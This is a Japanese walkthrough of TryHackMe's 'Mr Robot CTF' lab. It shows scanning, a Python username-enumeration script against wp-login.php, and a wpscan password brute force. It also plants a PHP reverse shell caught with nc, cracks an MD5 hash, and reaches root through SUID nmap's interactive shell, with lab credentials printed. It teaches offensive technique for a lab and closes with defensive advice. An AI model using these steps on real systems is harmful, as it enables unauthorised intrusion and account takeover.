はじめに
TryHackMeの "Mr Robot CTF" というルームのWriteupです。
映画ドラマ "Mr.Robot" の世界観あふれるWebサイトを攻略していきましょう！
- 難易度 : Medium
目標
Recon (偵察) → Enumeration (列挙) → GainingAccess (侵入) → PrivEsc (権限昇格)
という流れで進めていきます。
3つのキーを取得するのが目標です。
Recon
オープンポート調査
いつも通りnmapでポートスキャンをしていく。
└─$ nmap -Pn -A -T4 10.10.85.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-10 05:49 EST
Nmap scan report for 10.10.85.110
Host is up (0.30s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 47.31 seconds
80(http), 443(ssl/http) が空いている
珍しくssh(22)は閉じているようだ。
Webサイトの偵察
ひとまずブラウザから確認していきましょう。
かなり作りこまれたページでとても良いです。
BIOSからOSを起動したような画面がブラウザに表示されました（ワクワク）
OSコマンドが打ちたくなる画面なのでとりあえず ls を打ってみる。
コマンドが制限されているようで怒られる。
help で使えるコマンドを確認してみたら、いくつかのコマンドが表示された。
１つずつコマンドを打ってみましょう。
fsociery
"Are you ready to join fsociety?"
という動画メッセージが流れます。
すごい世界観が作りこまれててドキドキしますね。
inform
4枚の興味深い写真とメッセージが出てきた（→問題にはあまり関係なかった）
すべてのコマンドを打ってみた結果、コマンド名と同じページに遷移することがわかったので、ほかのページがないか調査していきましょう。
Enumeration
隠しディレクトリ調査
gobusterで隠しディレクトリがないか調査していきます。
┌──(kali㉿kali)-[~]
└─$ cat gobuster.log
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.252.197
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 218]
/.hta (Status: 403) [Size: 213]
/.htpasswd (Status: 403) [Size: 218]
/0 (Status: 301) [Size: 0] [--> http://10.10.252.197/0/]
/admin (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/atom (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/atom/]
/audio (Status: 301) [Size: 235] [--> http://10.10.252.197/audio/]
/blog (Status: 301) [Size: 234] [--> http://10.10.252.197/blog/]
/css (Status: 301) [Size: 233] [--> http://10.10.252.197/css/]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-admin/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/image (Status: 301) [Size: 0] [--> http://10.10.252.197/image/]
/Image (Status: 301) [Size: 0] [--> http://10.10.252.197/Image/]
/images (Status: 301) [Size: 236] [--> http://10.10.252.197/images/]
/index.html (Status: 200) [Size: 1188]
/index.php (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/js (Status: 301) [Size: 232] [--> http://10.10.252.197/js/]
/intro (Status: 200) [Size: 516314]
/license (Status: 200) [Size: 309]
/login (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php]
/page1 (Status: 301) [Size: 0] [--> http://10.10.252.197/]
/phpmyadmin (Status: 403) [Size: 94]
/rdf (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/rdf/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/robots.txt (Status: 200) [Size: 41]
/rss (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.252.197/feed/]
/sitemap (Status: 200) [Size: 0]
/sitemap.xml (Status: 200) [Size: 0]
/video (Status: 301) [Size: 235] [--> http://10.10.252.197/video/]
/wp-admin (Status: 301) [Size: 238] [--> http://10.10.252.197/wp-admin/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.252.197/wp-content/]
/wp-config (Status: 200) [Size: 0]
/wp-cron (Status: 200) [Size: 0]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.252.197/wp-includes/]
/wp-load (Status: 200) [Size: 0]
/wp-links-opml (Status: 200) [Size: 227]
/wp-login (Status: 200) [Size: 2671]
/wp-mail (Status: 500) [Size: 3064]
/wp-signup (Status: 302) [Size: 0] [--> http://10.10.252.197/wp-login.php?action=register]
/wp-settings (Status: 500) [Size: 0]
/xmlrpc (Status: 405) [Size: 42]
/xmlrpc.php (Status: 405) [Size: 42]
===============================================================
Finished
===============================================================
かなりたくさんのディレクトリが見えちゃってますね。
いろいろ見た中で気になったページを紹介します。
/admin
一番気になったこのページは要注意。永遠にリダイレクトされる、、、
/admin (Status: 301) [Size: 235] [--> http://10.10.252.197/admin/]
/readme
どういう意味だろう？
/image
掲示板のような感じになっていて、何か投稿することができそうです。
何個か送信してみたけどすぐ反映されるわけではなさそうでした。
→ 後ほどわかるが、ユーザからのコメントを投稿するかどうかは承認制
/wp-login.php
なんとwordpressが使われているようです。
/robots.txt
フラグの名前のヒントと辞書みたいなものがありますね
fsocity.dic , key-1-of-3.txt
robots.txtとは？
robots.txtに記載されているファイルは、クローラの検索から除外される。
通常隠したいファイル名を記載する。
さっきのgobusterでのディレクトリスキャンには引っかからなかったのですが、隠したいファイル名が記載されているということで、要確認です。
ルーム名がヒントなので、robots.txt を最初に確認するべきだった（反省）
fsocity.dic , key-1-of-3.txtというファイルがありそうなのでurlに入れてみると、２つともファイルが見れました。
- key-1-of-3.txt
1つ目のフラグゲット！！！！
- fsocity.dic
何か辞書のようなものがダウンロードできました。
中身はよくわからない用語の羅列になっている。このファイル、かなり重複が多いです。おそらくあとでブルートフォースに使う辞書なのでしょう。
┌──(kali㉿kali)-[~]
└─$ wc -l fsocity.dic
858160 fsocity.dic <--------------- 行数
┌──(kali㉿kali)-[~]
└─$ cat fsocity.dic | grep username | wc -l
150 <---------------------------- usernameの超複数
ソートして重複を除くと、85万行が1万行に減らせた。
あとでブルートフォースに使うと思うのでこのほうが早く探せる。
┌──(kali㉿kali)-[~]
└─$ sort fsocity.dic | uniq > unique.dic
┌──(kali㉿kali)-[~]
└─$ wc -l unique.dic
11451 unique.dic
/wp-signup
期待して確認したのですが、今は登録できないよと言われてしまいました。
/wp-links-opml
This XML file does not appear to have any style information associated with it. The document tree is shown below.
このXMLファイルには、スタイル情報が関連付けられていないようです。ドキュメントツリーを以下に示す。
ブログにも何も書かれてなかったのでドキュメントツリーも何もない。
Wordpress 4.3.1 という情報を得た。
→ CVEやexploit codeを探したが見つからず・・・
/license
what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?
Rapid9とかからコードを引っ張ってきて、いつからスクリプトキティになったんだ？
Rapid9について調べたけど見つからず、どうやら名前が変わったようでこれのことみたい。Metasploitを作っている会社だった。
Gaining Access
それではログインしていきましょう。
存在するユーザ名を調べる
wordpressのログインページにさきほどの辞書を使ってブルートフォースを仕掛けていきます。
HTTPリクエストから変数を確認
試しにuser=name, passwd=passでログインしてみて開発者ツールでリクエストを見てみたら変数が分かりました。変数を指定してブルートフォースすることが出来ます。
pythonで大量にログインリクエストを送信する
下記のようなペイロードを作成する。
import requests
host = '10.10.xxx.xxx'
url = 'http://' + host + '/wp-login.php'
def attack(s, url, user):
payload = {'log': user, 'pwd': 'a', 'wp-submit': 'Log In'}
res = s.post(url, data=payload)
if 'Invalid username.' in res.text:
return False
return True
with open('unique.dic', 'r') as f:
wordlist = f.readlines()
s = requests.Session()
s.get(url)
for w in wordlist:
w = w.strip()
if attack(s, url, w):
print(w)
break
else:
continue
ワードリストのすべてをusernameとするリクエストを送信して、レスポンスに'Invalid username.'という文字列がなければTrueを返し、そのときのワードを表示して終了するというスクリプト。
ユーザ名が無い場合に 'Invalid username.' というエラーメッセージを出してしまうと、今回のように攻撃者にとってヒントになってしまうので気を付けましょう。
実行します。
┌──(kali㉿kali)-[~]
└─$ python3 exploit.py
Elliot
ユーザ名がわかりましたね。Elliotでログインしたいと思います。
Elliotのログインパスワードは何か？
同様にブルートフォースするペイロードを書いて実行してみるが、１万行あるからかなかなか終わらず、方針を変えてwpscanでブルートフォースすることにした。
┌──(kali㉿kali)-[~]
└─$ wpscan --url http://10.10.252.197 -U Elliot -P unique.dic -t 64
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.25
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://10.10.252.197/ [10.10.252.197]
[+] Started: Sat Feb 10 10:59:57 2024
(中略)
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652
All Found
Progress Time: 00:00:39 <=================================== > (12 / 22) 54.54% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: Elliot, Password: ER28-0652
パスワードゲット！
会社の先輩がhydraで解いていて、以下の解き方の方がスマートだなと思ったのでメモ
ブログにリバースシェルを仕込む
ログインして中身を見ていくと、ブログが投稿できるようになっている。
しかも、htmlとphpのコードが書けるようだ。kaliにデフォルトで入っているPHPのリバースシェルを仕込む。
kaliの場合、ここにリバースシェルがあります。
cat /usr/share/webshells/php/php-reverse-shell.php
これをブログの "404.php" にコピペ。コピペしたらIPアドレスとポートは書き換えておきましょう。
ローカルでリスナーを起動しておき、404.phpにアクセスするとリバースシェルが実行され、シェルが立ち上がる！！！
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.32.250] from (UNKNOWN) [10.10.252.197] 37197
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
17:04:46 up 3:43, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
daemon
$
無事、deamonユーザでログインできました。
robotへのログイン
ユーザを見るとrobotというのがいる。怪しいですね。
$ cat /etc/passwd | cut -d ":" -f 1
root
daemon
(中略)
robot
ひとまず2つ目のキーを探していく。
$ cd home
$ ls
robot
$ cd robot
$ ls
key-2-of-3.txt
password.raw-md5
$ ls -l
total 8
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
2つ目のキーの場所が分かったが、閲覧権限はrobotしかない。やはり、robotにログインしないといけないようですね。
また、 password.raw-md5 という気になるファイルを発見。中身を見てみましょう。
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
md5で暗号化されているパスワードのようなので、JohnTheRipperで解読します。
┌──(kali㉿kali)-[~]
└─$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
+ abcdefghijklmnopqrstuvwxyz (?)
1g 0:00:00:00 DONE (2024-02-10 12:41) 25.00g/s 1012Kp/s 1012Kc/s 1012KC/s bonjour1..123092
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
パスワードが解読できたので、このパスワードでrobotにログインする。
$ su robot
su: must be run from a terminal
su robot でログインしようとすると、terminalから実行しろと怒られるので、pythonでシェルをアップデートしておく。
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:~$ whoami
whoami
robot
robot@linux:~$
無事、robotにログイン出来、先ほど見れなかった2つ目のフラグも取得できました。
PrivEsc
それでは３つ目のフラグを取得するために、rootに権限昇格していきましょう。
権限昇格の方法については以下にまとめています。
基本的なSUDOやSUIDの脆弱性がないか調査していきましょう。
SUDOの脆弱性がないか
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz
Sorry, user robot may not run sudo on linux.
robot@linux:~$
robotにsudoで実行できるコマンドはないようです。残念。
SUIDの脆弱性がないか
robotがroot権限で実行できるコマンドがないか見ていきます。
robot@linux:/$ find / -perm -u=s -type f 2>/dev/null | awk -F'/' '{print $NF}'
ping
umount
mount
ping6
su
passwd
newgrp
chsh
chfn
gpasswd
sudo
nmap
ssh-keysign
dmcrypt-get-device
vmware-user-suid-wrapper
vmware-user-suid-wrapper
pt_chown
GTGObinsと照らし合わせてみると、nmapが怪しい。
参考：nmap
nmap --interactive で、シェルにアクセスできるのですが、それがroot権限で実行できてしまうようです。
robot@linux:/$ nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> whoami
Unknown command (whoami) -- press h <enter> for help
nmap> !whoami
root
waiting to reap child : No child processes
nmap>
rootでログイン出来ているようですね。! を毎回先頭につけるのが大変なのでここでシェルを立ち上げておきましょう。
nmap> !sh
# ls
bin etc lib media passwd.txt run srv usr
boot home lib64 mnt proc sbin sys var
dev initrd.img lost+found opt root shadow.txt tmp vmlinuz
# whoami
root
#
rootでシェルが立ち上がりました。
rootのパスワードがわかったわけではないですが、無事権限昇格成功！
# whoami
root
# find / -name key-3-of-3.txt 2>/dev/null
/root/key-3-of-3.txt
# cat /root/key-3-of-3.txt
****flag**********************
３つ目のフラグが見つかりました。お疲れ様でした！！！
あとがき
かなりボリュームがあって達成感のあるルームでした。
途中でMetasploitのヒントがあったのですが使わずに解いてしまったので、使う解き方もしてみたいなと思います。
今回のポイントとしては以下の通りです。
- Webサイトの偵察に時間を使いすぎない
- ルーム名から想像してrobots.txtを見に行く
- Wordpressのエラーメッセージを元にブルートフォース
- sshが閉じている→リバースシェルを考える
開発する側としては。以下に注意しましょう。
- ログインページ
- ログインページを公開しない
- 数回失敗したらアカウントロックする
- ログイン失敗メッセージを表示しない(
Invalid username, Invalid passwordなどのヒントを与えない) - ２段階認証を取り入れる
- robots.txtを公開しない
- 不用意にSUIDを付与しない